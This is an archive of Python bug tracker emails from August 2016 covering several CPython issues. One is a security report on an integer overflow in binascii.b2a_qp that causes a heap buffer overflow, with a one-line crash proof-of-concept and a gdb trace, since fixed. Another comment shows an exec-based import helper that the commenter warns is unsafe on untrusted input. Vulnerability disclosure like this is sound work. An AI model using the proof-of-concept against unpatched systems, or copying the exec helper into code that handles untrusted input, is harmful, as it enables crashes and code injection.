descriptors In-Reply-To: Message-ID: Guido van Rossum added the comment: Also don't spend more time on this, I found a way to apply the patch cleanly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:17:36 2016 From: report at bugs.python.org (Mark Williams) Date: Sun, 14 Aug 2016 01:17:36 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors In-Reply-To: Message-ID: Mark Williams added the comment: OK! Sorry for the trouble. On Sat, Aug 13, 2016 at 6:17 PM, Guido van Rossum wrote: > > Guido van Rossum added the comment: > > Also don't spend more time on this, I found a way to apply the patch > cleanly. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:32:26 2016 From: report at bugs.python.org (Benjamin Peterson) Date: Sun, 14 Aug 2016 01:32:26 +0000 Subject: [issue27760] integer overflow in binascii.b2a_qp Message-ID: <1471138346.27.0.267197396975.issue27760@psf.upfronthosting.co.za> New submission from Benjamin Peterson: Thomas E Hybel reports: This vulnerability resides in /Modules/binascii.c in the function binascii_b2a_qp_impl. The problem is that the integer variable "odatalen" can overflow to become a small number. The function binascii_b2a_qp_impl qp-encodes binary data. First it computes the output string's length in the variable "odatalen": /* First, scan to see how many characters need to be encoded */ in = 0; while (in < datalen) { if ((databuf[in] > 126) || ... ) { ... odatalen += 3; in++; } ... } As we can see, each input character can result in more than three output-characters. Then we allocate the output string: odata = (unsigned char *) PyMem_Malloc(odatalen); And finally we encode the input-string and write the result into odata. If our string is so large that "odatalen" will wrap around and become a small number, then the odata buffer will be too small to hold the data. Our input is then copied into this too-small buffer. So the integer overflow results in a heap buffer overflow. Here's a proof-of-concept script: --- begin script --- import binascii binascii.b2a_qp(b"\x80"*0x531dec0e) # this number gives odatalen=2 --- end script --- Note that this script assumes a 32-bit system where the "odatalen" variable will be 4 bytes wide. When run on Python-3.5.2, 32-bits, we get a segfault: (gdb) r ../poc3.py Starting program: /home/ubuntu32/python3/Python-3.5.2/python ../poc3.py Breakpoint 1, binascii_b2a_qp_impl (module=module at entry=0xb7c370f4, data=data at entry=0xbffff6e4, quotetabs=0x0, istext=0x1, header=0x0) at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1448 1448 odata = (unsigned char *) PyMem_Malloc(odatalen); (gdb) p odatalen $27 = 0x2 (gdb) p datalen $28 = 0x531dec0e (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xb7fd1f63 in to_hex (ch=0x80, s=s at entry=0x83c5fff "") at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1333 1333 s[1] = "0123456789ABCDEF"[uvalue % 16]; (gdb) bt #0 0xb7fd1f63 in to_hex (ch=0x80, s=s at entry=0x83c5fff "") at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1333 #1 0xb7fd22fa in binascii_b2a_qp_impl (module=module at entry=0xb7c370f4, data=data at entry=0xbffff6e4, quotetabs=0x0, istext=0x1, header=0x0) at /home/ubuntu32/python3/Python-3.5.2/Modules/binascii.c:1476 #2 0xb7fd2510 in binascii_b2a_qp (module=module at entry=0xb7c370f4, args=args at entry=0xb7cbbb5c, kwargs=kwargs at entry=0x0) at /home/ubuntu32/python3/Python-3.5.2/Modules/clinic/binascii.c.h:510 #3 0x080e0ef4 in PyCFunction_Call (func=func at entry=0xb7c37534, args=args at entry=0xb7cbbb5c, kwds=kwds at entry=0x0) at Objects/methodobject.c:98 ---------- components: Library (Lib) messages: 272634 nosy: benjamin.peterson priority: normal severity: normal status: open title: integer overflow in binascii.b2a_qp type: security versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 21:37:35 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 14 Aug 2016 01:37:35 +0000 Subject: [issue27760] integer overflow in binascii.b2a_qp In-Reply-To: <1471138346.27.0.267197396975.issue27760@psf.upfronthosting.co.za> Message-ID: <20160814013732.22111.36822.BD32CDFC@psf.io> Roundup Robot added the comment: New changeset af42635b5ed1 by Benjamin Peterson in branch '2.7': fix possible integer overflow in binascii.b2a_qp (closes #27760) https://hg.python.org/cpython/rev/af42635b5ed1 New changeset 54c74212db91 by Benjamin Peterson in branch '3.3': fix possible integer overflow in binascii.b2a_qp (closes #27760) https://hg.python.org/cpython/rev/54c74212db91 New changeset 9822bf4bcece by Benjamin Peterson in branch '3.4': merge 3.3 (closes #27760) https://hg.python.org/cpython/rev/9822bf4bcece New changeset a277ab6bf66b by Benjamin Peterson in branch '3.5': merge 3.4 (closes #27760) https://hg.python.org/cpython/rev/a277ab6bf66b New changeset 4a00d4ebf60f by Benjamin Peterson in branch 'default': merge 3.5 (closes #27760) https://hg.python.org/cpython/rev/4a00d4ebf60f ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:08:18 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 02:08:18 +0000 Subject: [issue27757] eval() does not allow import statements to run. In-Reply-To: <1471130620.63.0.743725137456.issue27757@psf.upfronthosting.co.za> Message-ID: <1471140498.07.0.612635758704.issue27757@psf.upfronthosting.co.za> Steven D'Aprano added the comment: That is not a bug, it is a feature. `eval` only evaluates *expressions*, not statements, and `import` is a statement. Neither of those is going to change. Starting in Python 3.1, you could use `import_module`: https://docs.python.org/3/library/importlib.html#importlib.import_module There's no really great solution for Python 2, you could use the built-in `__import__` function, but being a dunder function it is for Python's internal use, not really intended for normal use. Or write a small helper function: # untested, and beware of security implications! # don't use this on untrusted input def import_module(name): ns = {} exec("import " + name, ns, ns) return ns[name] Now you can use that function in `eval`. ---------- nosy: +steven.daprano resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:10:36 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 02:10:36 +0000 Subject: [issue27757] eval() does not allow import statements to run. In-Reply-To: <1471130620.63.0.743725137456.issue27757@psf.upfronthosting.co.za> Message-ID: <1471140636.38.0.826659902322.issue27757@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Correction: `importlib.import_module` is also available in Python 2.7. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:26:23 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 02:26:23 +0000 Subject: [issue27761] Private _nth_root function loses accuracy on PowerPC Message-ID: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> New submission from Steven D'Aprano: First reported by Martin Panter here: http://bugs.python.org/issue27181#msg272488 I'm afraid I don't know enough about PowerPC to suggest a fix other than weakening the test on that platform. ---------- assignee: steven.daprano messages: 272638 nosy: martin.panter, steven.daprano priority: normal severity: normal status: open title: Private _nth_root function loses accuracy on PowerPC type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:27:27 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 02:27:27 +0000 Subject: [issue27761] Private _nth_root function loses accuracy on PowerPC In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471141647.94.0.231269696429.issue27761@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Tests fail on a Power PC buildbot: http://buildbot.python.org/all/builders/PPC64LE%20Fedora%203.x/builds/1476/steps/test/logs/stdio ====================================================================== FAIL: testExactPowers (test.test_statistics.Test_Nth_Root) (i=29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64le/build/Lib/test/test_statistics.py", line 1216, in testExactPowers self.assertEqual(self.nroot(x, n), i) AssertionError: 29.000000000000004 != 29 ====================================================================== FAIL: testExactPowersNegatives (test.test_statistics.Test_Nth_Root) (i=-29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64le/build/Lib/test/test_statistics.py", line 1228, in testExactPowersNegatives self.assertEqual(self.nroot(x, n), i) AssertionError: -29.000000000000004 != -29 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:31:20 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 02:31:20 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471141880.26.0.617472328196.issue27181@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I've created a new issue to track the loss of accuracy on PowerPC: http://bugs.python.org/issue27761 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:42:48 2016 From: report at bugs.python.org (Joshua Haas) Date: Sun, 14 Aug 2016 02:42:48 +0000 Subject: [issue27762] ConfigParser ignores in-line comments for lines with semi-colons Message-ID: <1471142568.14.0.155713837509.issue27762@psf.upfronthosting.co.za> New submission from Joshua Haas: According to the 2.7 docs at https://docs.python.org/2/library/configparser.html, you can create in-line comments using ";" if it is preceded by white space. However, if the value of a config option contains a semi-colon, for example "password=my;pass123", then only the first colon will be checked by the parser. In the config file: password=my;pass123 ;expires in 2018 Expected value: my;pass123 Returned value: my;pass123 ;expires in 2018 This is easily remedied with a while loop, lines 525-529 in the attached patch. Otherwise the docs should be changed to reflect this behavior, but a patch definitely seems more appropriate to me. Python 3.5 gives the expected value when using inline_comment_prefixes=';'. ---------- components: Library (Lib) files: ConfigParser_patch.py messages: 272641 nosy: jahschwa priority: normal severity: normal status: open title: ConfigParser ignores in-line comments for lines with semi-colons type: behavior versions: Python 2.7 Added file: http://bugs.python.org/file44101/ConfigParser_patch.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 22:44:49 2016 From: report at bugs.python.org (Ned Deily) Date: Sun, 14 Aug 2016 02:44:49 +0000 Subject: [issue27762] ConfigParser ignores in-line comments for lines with semi-colons In-Reply-To: <1471142568.14.0.155713837509.issue27762@psf.upfronthosting.co.za> Message-ID: <1471142689.75.0.0953168805366.issue27762@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 23:13:53 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 14 Aug 2016 03:13:53 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471144433.91.0.930641224862.issue26823@psf.upfronthosting.co.za> Emanuel Barry added the comment: Is it possible to get this in in time for 3.6.0a4? The feature itself hasn't been touched in about 4 months, only tests have been tweaked since. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 23:16:26 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 14 Aug 2016 03:16:26 +0000 Subject: [issue27761] Private _nth_root function loses accuracy on PowerPC In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471144586.31.0.638071435519.issue27761@psf.upfronthosting.co.za> Raymond Hettinger added the comment: You can do no better than to consult with Uncle Timmy. ---------- nosy: +rhettinger, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 13 23:55:51 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 03:55:51 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471146951.54.0.0522771079182.issue26823@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 01:20:48 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 14 Aug 2016 05:20:48 +0000 Subject: [issue27205] Failing doctests in Library/collections.rst In-Reply-To: <1465000020.63.0.799580126218.issue27205@psf.upfronthosting.co.za> Message-ID: <1471152048.53.0.36204555638.issue27205@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FYI, this should have been assigned to me (the author of the examples being modified). ---------- assignee: zach.ware -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 01:26:53 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 14 Aug 2016 05:26:53 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471152413.63.0.247734682573.issue1602@psf.upfronthosting.co.za> Martin Panter added the comment: For compatibility, I think it may be good to add custom implementations of the buffer attribute and detach() method to stdin/out. They should be able to at least read and write ASCII bytes. It might be easiest to keep them as the current BufferedReader/Writer objects. Probably also make stdin/out.fileno() defer to the buffer attribute. With the current patch that only allows reading and writing in UTF-16 pairs, I forsee a few problems: * I assume stdin.buffer.raw.readline() will try to read one byte at a time, and will therefore always indicate EOF. * Incompatibility with using stdin/out.buffer for ASCII character input and output. I suggest testing the patch with ?python -m base64?, a use case mentioned earlier in this thread. ---------- nosy: +martin.panter stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 01:28:27 2016 From: report at bugs.python.org (Justin Foo) Date: Sun, 14 Aug 2016 05:28:27 +0000 Subject: [issue21417] Compression level for zipfile In-Reply-To: <1399053616.42.0.124840881006.issue21417@psf.upfronthosting.co.za> Message-ID: <1471152507.81.0.823623974163.issue21417@psf.upfronthosting.co.za> Justin Foo added the comment: I thought about that, but: 1. compresslevel=None might make look like no compression was being done at all 2. The current default is not 9 for all backends ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 01:41:31 2016 From: report at bugs.python.org (wevsty) Date: Sun, 14 Aug 2016 05:41:31 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471153291.89.0.828907926818.issue27749@psf.upfronthosting.co.za> wevsty added the comment: To Decorater If you are found to have crashes, I'm sorry, you can follow the previous suggestion to use python_d.exe then open a new issue uploading crash dump. It would be better. About the multiprocessing question?I would like to add some information. My code uses a multiprocessing Pool?I used multiprocessing.util.debug opened the debug information.debug information is as follows. [DEBUG/SpawnPoolWorker-7] thread 'MainThread' does not own a connection [DEBUG/SpawnPoolWorker-7] making connection to manager [DEBUG/SyncManager-2] starting server thread to service 'SpawnPoolWorker-7' [INFO/SpawnPoolWorker-4] test:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-3816-0-95051ql_', id='e44c9bc720') [INFO/SpawnPoolWorker-4] test:lock:handle: 712 [INFO/SpawnPoolWorker-7] test:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-3816-0-95051ql_', id='e44c9bc720') [INFO/SpawnPoolWorker-7] test:lock:handle: 768 [DEBUG/SpawnPoolWorker-7] DECREF 'e44c9bc720' [INFO/SpawnPoolWorker-4] leave:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-3816-0-95051ql_', id='e44c9bc720') [DEBUG/SpawnPoolWorker-7] thread 'MainThread' has no more proxies so closing conn [DEBUG/SpawnPoolWorker-7] DECREF 'b0182059f8' [DEBUG/SyncManager-2] got EOF -- exiting thread serving 'SpawnPoolWorker-7' [DEBUG/SpawnPoolWorker-4] INCREF 'e44c9bc720' handle is closed 'ForkAwareLocal' object has no attribute 'connection' [DEBUG/SpawnPoolWorker-7] thread 'MainThread' has no more proxies so closing conn Traceback (most recent call last): File "C:/Users/Administrator/Desktop/Monitor_URL\Monitor_SQL.py", line 51, in execute_select_command conn.close() File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\managers.py", line 949, in __exit__ return self._callmethod('release') File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\managers.py", line 716, in _callmethod conn.send((self._id, methodname, args, kwds)) File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\connection.py", line 204, in send self._check_closed() File "C:\Users\Administrator\AppData\Local\Programs\Python\Python35\lib\multiprocessing\connection.py", line 136, in _check_closed raise OSError("handle is closed") OSError: handle is closed [INFO/SpawnPoolWorker-7] Exception:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-3816-0-95051ql_', id='e44c9bc720') [INFO/SpawnPoolWorker-7] Exception process:lock:token: Token(typeid='Lock', address='\\\\.\\pipe\\pyc-3816-0-95051ql_', id='e44c9bc720') [DEBUG/SyncManager-1] got EOF -- exiting thread serving 'SpawnPoolWorker-7' [DEBUG/SpawnPoolWorker-4] INCREF 'b0182059f8' [DEBUG/SpawnPoolWorker-4] DECREF 'b0182059f8' [DEBUG/SpawnPoolWorker-7] INCREF 'e44c9bc720' This time the message and not the same?From the information looks like two processes simultaneously locking the same lock object, and then release happened the problems.I do not know if this is correct? But i will continue to follow the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 01:42:01 2016 From: report at bugs.python.org (Justin Foo) Date: Sun, 14 Aug 2016 05:42:01 +0000 Subject: [issue22395] test_pathlib error for complex symlinks on Windows In-Reply-To: <1410540587.88.0.335092451275.issue22395@psf.upfronthosting.co.za> Message-ID: <1471153321.01.0.729180090657.issue22395@psf.upfronthosting.co.za> Justin Foo added the comment: This is no longer a problem for me and I can't reproduce why it was even a problem in the first place. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:02:51 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 14 Aug 2016 06:02:51 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471154571.38.0.71883733779.issue27761@psf.upfronthosting.co.za> Martin Panter added the comment: The problem is more widespread than just Power PC. The same failures (+/-29) are also seen on the three s390x buildbots. There are multiple failures of testExactPowers(Negatives) on http://buildbot.python.org/all/builders/x86%20Tiger%203.x/builds/11140/steps/test/logs/stdio The first is AssertionError: 9.000000000000002 != 9 An slightly different failure happens on AMD64 Free BSD and Open Indiana buildbots: http://buildbot.python.org/all/builders/AMD64%20OpenIndiana%203.x/builds/11077/steps/test/logs/stdio ====================================================================== FAIL: testFraction (test.test_statistics.Test_Nth_Root) ---------------------------------------------------------------------- Traceback (most recent call last): File "/export/home/buildbot/64bits/3.x.cea-indiana-amd64/build/Lib/test/test_statistics.py", line 1247, in testFraction self.assertEqual(self.nroot(x**12, 12), float(x)) AssertionError: 1.1866666666666665 != 1.1866666666666668 ---------- title: Private _nth_root function loses accuracy on PowerPC -> Private _nth_root function loses accuracy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:03:58 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 06:03:58 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1471154638.85.0.581094793297.issue26027@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Added comments on Rietveld. Needed tests for supporting path-like objects. And it would be nice to have few tests for error messages. ---------- assignee: serhiy.storchaka -> brett.cannon stage: commit review -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:18:05 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 06:18:05 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471155485.61.0.444041303959.issue23591@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Due to dynamic typing EnumSet actually is not needed in Python. You can use sets, tuples or lists for combining enums in new API. IntFlags is needed for old API that already uses ints. I think introducing non-int Flags is overengineering, can't imagine somebody will use it in new code. There is no much time left before feature freeze. If general IntFlags will not added, I'm going to open separate issues for adding specialized class for every particular case (re, os, etc). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:30:18 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 06:30:18 +0000 Subject: [issue26800] Don't accept bytearray as filenames part 2 In-Reply-To: <1461015295.39.0.246147143774.issue26800@psf.upfronthosting.co.za> Message-ID: <1471156218.02.0.405521659533.issue26800@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:30:31 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 06:30:31 +0000 Subject: [issue26754] PyUnicode_FSDecoder() accepts arbitrary iterable In-Reply-To: <1460621170.51.0.766625206789.issue26754@psf.upfronthosting.co.za> Message-ID: <1471156231.08.0.192965784724.issue26754@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 02:42:22 2016 From: report at bugs.python.org (SilentGhost) Date: Sun, 14 Aug 2016 06:42:22 +0000 Subject: [issue22395] test_pathlib error for complex symlinks on Windows In-Reply-To: <1410540587.88.0.335092451275.issue22395@psf.upfronthosting.co.za> Message-ID: <1471156942.58.0.142867854399.issue22395@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- resolution: -> out of date stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 03:07:37 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 07:07:37 +0000 Subject: [issue15012] test issue In-Reply-To: <1441894407.7.0.0207671058583.issue15012@psf.upfronthosting.co.za> Message-ID: <16350996.J8B9H1omnS@xarax> Serhiy Storchaka added the comment: Replying from new email address. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 03:29:11 2016 From: report at bugs.python.org (Decorater) Date: Sun, 14 Aug 2016 07:29:11 +0000 Subject: [issue27749] python 3.5.2 maybe crash In-Reply-To: <1471028370.6.0.516756873542.issue27749@psf.upfronthosting.co.za> Message-ID: <1471159751.9.0.374525827109.issue27749@psf.upfronthosting.co.za> Decorater added the comment: I use code that does multithreading to from a library that uses ffmpeg for exact it makes daemon threads so it could be from that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 03:32:37 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 14 Aug 2016 07:32:37 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1471159957.51.0.223326348064.issue27739@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thanks David. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 03:37:52 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 14 Aug 2016 07:37:52 +0000 Subject: [issue3244] multipart/form-data encoding In-Reply-To: <1214849078.87.0.171093103517.issue3244@psf.upfronthosting.co.za> Message-ID: <1471160272.04.0.159504543489.issue3244@psf.upfronthosting.co.za> Martin Panter added the comment: I think encoding the user?s IP address into the boundary is a bad idea. Forest?s version uses the existing ?email? package, which calls random.randrange(sys.maxsize) and searches through the data for conflicts. I haven?t really researched this, but I suspect it would be even better to use a CSPRNG like the new ?secrets? module, or uuid.uuid4(). Otherwise, perhaps there is the possibility of attacks by predicting the boundary and injecting HTTP headers, splitting up requests, etc via a file upload. Both Forest and Senthil?s patches look like they load all the data into memory, so would not be useful for streaming, which was the original request. Hence I am putting this back to ?needs patch?. Issue 3243 has been resolved, meaning that we can stream upload data as long as the Content-Length has been pre-calculated. The length could be calculated based from the length of each piece (e.g. file sizes). Also, with Issue 12319 (chunked encoding) about to be resolved, if people only need to use HTTP 1.1, it may be easier to upload forms using chunked encoding, where you don?t have to worry about Content-Length. ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 03:53:05 2016 From: report at bugs.python.org (Roundup Robot) Date: Sun, 14 Aug 2016 07:53:05 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <20160814075259.13815.81575.0352BC3A@psf.io> Roundup Robot added the comment: New changeset e527715bd0b3 by Serhiy Storchaka in branch 'default': Issue #27574: Decreased an overhead of parsing keyword arguments in functions https://hg.python.org/cpython/rev/e527715bd0b3 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 04:21:20 2016 From: report at bugs.python.org (STINNER Victor) Date: Sun, 14 Aug 2016 08:21:20 +0000 Subject: [issue27759] selectors incorrectly retain invalid file descriptors In-Reply-To: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za> Message-ID: <1471162880.06.0.23098539627.issue27759@psf.upfronthosting.co.za> STINNER Victor added the comment: Regenerated patch to get a review button. ---------- Added file: http://bugs.python.org/file44102/selectors.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 04:29:39 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 08:29:39 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471163379.5.0.662916384224.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: Steven: can you explain why you think your code *should* be giving exact results for exact powers? Do you have an error analysis that says that should be the case? One issue here is that libm pow functions vary hugely in quality, so any algorithm that depends on ** or math.pow is going to be hard to prove anything about. I think the tests should simply be weakened: it's unreasonable to expect perfect results in this case. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 05:16:11 2016 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 14 Aug 2016 09:16:11 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471166171.98.0.718092190041.issue27181@psf.upfronthosting.co.za> Mark Dickinson added the comment: A failing case: >>> statistics.geometric_mean([0.7 for _ in range(5000)]) Traceback (most recent call last): File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 362, in float_nroot isinfinity = math.isinf(x) OverflowError: int too large to convert to float During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 1, in File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 595, in geometric_mean s = 2**p * _nth_root(2**q, n) File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 346, in nth_root return _nroot_NS.float_nroot(x, n) File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 364, in float_nroot return _nroot_NS.bignum_nroot(x, n) File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 489, in bignum_nroot b = 2**q * _nroot_NS.nroot(2**r, n) File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 384, in nroot r1 = math.pow(x, 1.0/n) OverflowError: int too large to convert to float ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 05:43:36 2016 From: report at bugs.python.org (tehybel) Date: Sun, 14 Aug 2016 09:43:36 +0000 Subject: [issue27758] integer overflow in the _csv module's join_append_data function In-Reply-To: <1471133774.9.0.7207224009.issue27758@psf.upfronthosting.co.za> Message-ID: <1471167816.86.0.0720101157207.issue27758@psf.upfronthosting.co.za> tehybel added the comment: Thanks for fixing this. I looked at the patch and it seems correct. ---------- nosy: +tehybel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 06:10:45 2016 From: report at bugs.python.org (tehybel) Date: Sun, 14 Aug 2016 10:10:45 +0000 Subject: [issue27760] integer overflow in binascii.b2a_qp In-Reply-To: <1471138346.27.0.267197396975.issue27760@psf.upfronthosting.co.za> Message-ID: <1471169445.72.0.233809266699.issue27760@psf.upfronthosting.co.za> tehybel added the comment: The patch seems correct to me. ---------- nosy: +tehybel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 06:31:16 2016 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Sun, 14 Aug 2016 10:31:16 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1471170676.83.0.813183616219.issue1602@psf.upfronthosting.co.za> Adam Barto? added the comment: There is also the following consequence of (not) having the standard filenos: input() either considers the streams interactive or not. To consider them interactive, standard filenos and isatty are needed on sys.stdin and sys.stdout. If the streams are considered interactive, input() goes via readlinehook machinery, otherwise it just writes and reads an ordinary file. The latter means we don't have to touch readline machinery now, the downside is that custom rlcompleters like pyreadline won't work on input(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 14 06:44:53 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 14 Aug 2016 10:44:53 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471163379.5.0.662916384224.issue27761@psf.upfronthosting.co.za> Message-ID: <20160814104444.GM26300@ando.pearwood.info> Steven D'Aprano added the comment: On Sun, Aug 14, 2016 at 08:29:39AM +0000, Mark Dickinson wrote: > Steven: can you explain why you think your code *should* be giving > exact results for exact powers? Do you have an error analysis that > says that should be the case? No error 